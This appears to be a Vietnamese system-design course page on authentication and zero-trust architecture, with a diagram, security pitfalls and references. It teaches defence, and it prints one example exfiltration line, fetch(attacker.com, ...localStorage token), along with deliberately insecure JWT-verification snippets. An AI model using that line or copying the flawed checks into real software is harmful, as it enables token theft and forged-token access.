flowchart TD subgraph "External" U[User / Device] A[Attacker] end subgraph "Identity Layer" IDP[Identity Provider<br/>Keycloak / Auth0] MFA[MFA Service<br/>TOTP / WebAuthn] CA[Certificate Authority<br/>cert-manager] end subgraph "Network Edge" WAF[WAF<br/>Rate Limiting, Bot Detection] GW[API Gateway<br/>JWT Validation, RBAC] LB[Load Balancer<br/>TLS Termination] end subgraph "Service Mesh (Zero Trust)" direction TB SP["Sidecar Proxy (Envoy)<br/>mTLS enforcement"] subgraph "Service A" SA[Auth Service] end subgraph "Service B" SB[User Service] end subgraph "Service C" SC[Order Service] end SA <-..->|mTLS| SP SB <-..->|mTLS| SP SC <-..->|mTLS| SP end subgraph "Data Layer" V[HashiCorp Vault<br/>Secrets, Keys, Certs] DB[(Database<br/>Per-service credentials<br/>Encryption at rest)] SIEM[SIEM<br/>Security Logging<br/>Anomaly Detection] end U -->|1. HTTPS| WAF A -->|Blocked| WAF WAF -->|2. Clean traffic| LB LB -->|3. TLS terminated| GW GW -->|4. Validate JWT| IDP IDP -->|5. Challenge| MFA GW -->|6. Authorized request| SP SP -->|7. mTLS| SA SP -->|7. mTLS| SB SP -->|7. mTLS| SC SA -->|8. Get secrets| V SB -->|8. Get secrets| V SC -->|8. Get secrets| V SA -->|9. Scoped access| DB SB -->|9. Scoped access| DB SC -->|9. Scoped access| DB SA -->|10. Security events| SIEM SB -->|10. Security events| SIEM SC -->|10. Security events| SIEM GW -->|10. Access logs| SIEM WAF -->|10. Threat logs| SIEM CA -->|Issue certs| SP V -->|Rotate certs| CA style WAF fill:#ff922b,stroke:#333,stroke-width:2px style GW fill:#ff922b,stroke:#333,stroke-width:2px style V fill:#845ef7,stroke:#333,stroke-width:2px style SIEM fill:#339af0,stroke:#333,stroke-width:2px style SP fill:#51cf66,stroke:#333,stroke-width:2px
8. Aha Moments & Pitfalls
Aha Moment #1: JWT trong localStorage vs httpOnly Cookie
localStorage: Bất kỳ JavaScript nào trên page đều đọc được → XSS = game over. Một thư viện npm bị compromise (supply chain attack), inject
fetch(attacker.com, {body: localStorage.getItem('token')})→ toàn bộ user bị steal token.
httpOnly cookie: JavaScript KHÔNG thể đọc. Cookie tự động gửi theo request. Kết hợp
Secure+SameSite=Lax→ an toàn hơn nhiều.
| Storage | XSS Risk | CSRF Risk | Recommendation |
|---|---|---|---|
| localStorage | Cao — JS đọc được | Không | KHÔNG dùng cho token |
| sessionStorage | Cao — JS đọc được | Không | Chỉ dùng cho non-sensitive data |
| httpOnly cookie | Thấp — JS không đọc | Trung bình (mitigate bằng SameSite) | Khuyến nghị |
| In-memory (JS variable) | Trung bình | Không | OK nhưng mất khi refresh page |
Aha Moment #2: Không validate JWT signature
Nhiều developer chỉ decode JWT (base64) mà không verify signature. Attacker có thể tạo JWT giả với bất kỳ claims nào.
// WRONG — Chỉ decode, không verify
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.role === 'admin') { /* grant access */ }
// → Attacker tạo JWT với role=admin, không cần private key!
// RIGHT — Verify signature trước
jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, decoded) => {
if (err) return res.status(401).send('Invalid token');
// decoded.role đã được verify
});Aha Moment #3: Over-permissive CORS
Access-Control-Allow-Origin: *= “Bất kỳ website nào trên internet đều có thể gọi API của tôi”. Kết hợp với authenticated endpoints → bất kỳ trang web nào attacker tạo đều có thể steal data.
Aha Moment #4: Storing secrets in code
Commit
.envfile, hardcode API key trong source code, bake secrets vào Docker image → bất kỳ ai có access repo hoặc image đều thấy secrets.
# Kiểm tra repo có secrets bị commit không:
gitleaks detect --source . --verbose
# Tìm trong git history:
gitleaks detect --source . --log-opts="--all"Dùng Vault / AWS Secrets Manager / GCP Secret Manager. Secrets KHÔNG BAO GIỜ nằm trong code, config file, hoặc environment variable trên disk.
Aha Moment #5: “alg: none” attack
JWT spec cho phép
"alg": "none"(no signature). Nếu server không validate algorithm → attacker gửi JWT không có signature, server chấp nhận.
// WRONG: Không specify algorithms
jwt.verify(token, secret);
// → Nếu attacker gửi alg=none, một số thư viện skip signature check!
// RIGHT: Luôn specify allowed algorithms
jwt.verify(token, publicKey, { algorithms: ['RS256'] });Aha Moment #6: OAuth2 state parameter
Nếu không dùng
stateparameter trong OAuth2 flow → attacker có thể thực hiện CSRF on OAuth callback: trick user login vào account của attacker → attacker có thể xem mọi thứ user làm trên app.
Pitfall #1: Dùng JWT cho session management
JWT không phải session. JWT không thể revoke ngay lập tức (trừ khi build blacklist → mất stateless advantage). Nếu cần instant revocation (user logout, password change, account ban) → dùng session-based hoặc hybrid (JWT + Redis blacklist).
Pitfall #2: Quá nhiều data trong JWT
JWT nằm trong mọi request. Nếu JWT chứa 50 roles, 100 permissions → token size explode → bandwidth waste, header size limit (8KB default cho nhiều server).
Rule: JWT chỉ chứa identity + essential claims. Permission resolution nên ở application layer.
Pitfall #3: Không rate limit login endpoint
Login endpoint = bcrypt = CPU intensive. Attacker gửi 10,000 login requests/s → CPU 100% → application-level DoS (không cần DDoS).
Luôn rate limit login: per-IP + per-username + global.
Pitfall #4: Bearer token cho Financial APIs
SPA lưu access token trong localStorage. XSS → token leak → attacker rút tiền.
Fix: Dùng DPoP (RFC 9449) cho fintech/banking. Token bind với client key → stolen token không reusable. Tham chiếu section 2.16.
Pitfall #5: OAuth 2.0 vanilla cho Banking
“OAuth 2.0 implemented” → audit fail vì thiếu PAR, JARM, mandatory PKCE.
Fix: Dùng FAPI 2.0 profile cho financial APIs. PAR mandatory, DPoP/mTLS mandatory, không có “client_secret” auth. Tham chiếu section 2.17.
Pitfall #6: “Zero Trust” = “Replace VPN with IAP”
Vendor sales-pitch: “Buy our cloud proxy → you have Zero Trust!“. Reality: chỉ swap VPN bằng cloud proxy = same trust model.
Fix: Real Zero Trust theo NIST 800-207 cần continuous verification với dynamic policy (identity + device posture + risk score), không phải “auth once trust forever”. Tham chiếu section 2.18.
Pitfall #7: Không revoke token khi user logout
User logout → server clear session, nhưng JWT vẫn valid đến
exp. Attacker với stolen token vẫn dùng được trong 15 phút.Fix: Token blacklist trong Redis (TTL = remaining token lifetime). Hoặc dùng Continuous Access Evaluation (CAE) — Microsoft Entra style — để propagate revocation real-time tới resource servers.
9. Internal Links & Tham khảo
Liên kết nội bộ
| Tuần | Liên quan | Lý do |
|---|---|---|
| Tuan-01-Scale-From-Zero-To-Millions | Scaling auth service | Auth là bottleneck khi scale |
| Tuan-03-Networking-DNS-CDN | TLS, HTTPS, network security | Transport layer security |
| Tuan-06-Cache-Strategy | Redis cho session store, JWT blacklist | Caching auth data |
| Tuan-09-Rate-Limiter | Login rate limiting | Chống brute force, credential stuffing |
| Tuan-11-Microservices-Pattern | Service-to-service auth, mTLS | Zero Trust in microservices |
| Tuan-12-CICD-Pipeline | Security scanning in CI/CD | Shift-left security |
| Tuan-13-Monitoring-Observability | Security monitoring, SIEM | Detect breaches |
| Tuan-15-Data-Security-Encryption | Encryption at rest, key management | Data protection |
Tham khảo
- Alex Xu, System Design Interview — Chapter on Authentication
- OWASP Top 10 (2021): https://owasp.org/Top10/
- OWASP API Security Top 10: https://owasp.org/API-Security/
- NIST SP 800-63B — Digital Identity Guidelines (Password): https://pages.nist.gov/800-63-3/sp800-63b.html
- RFC 7519 — JSON Web Token (JWT)
- RFC 6749 — OAuth 2.0 Authorization Framework
- RFC 7636 — PKCE for OAuth 2.0
- RFC 9449 — DPoP (OAuth 2.0 Demonstrating Proof of Possession): https://datatracker.ietf.org/doc/rfc9449/
- RFC 9700 — OAuth 2.0 Security Best Current Practice: https://datatracker.ietf.org/doc/rfc9700/
- RFC 9126 — OAuth 2.0 Pushed Authorization Requests (PAR): https://datatracker.ietf.org/doc/rfc9126/
- RFC 8705 — OAuth 2.0 mTLS Client Authentication: https://datatracker.ietf.org/doc/rfc8705/
- OpenID Connect Core 1.0
- FAPI 2.0 Security Profile: https://openid.net/specs/fapi-2_0-security-02.html
- Google Zanzibar Paper (ReBAC): https://research.google/pubs/zanzibar/
- NIST SP 800-207 — Zero Trust Architecture: https://csrc.nist.gov/pubs/sp/800/207/final
- Google BeyondCorp papers: https://research.google/pubs/?q=beyondcorp
- SPIFFE/SPIRE: https://spiffe.io/
- Open Policy Agent (OPA): https://www.openpolicyagent.org/
Tuần tới: Tuan-15-Data-Security-Encryption — Encryption at rest, in transit, key management, data classification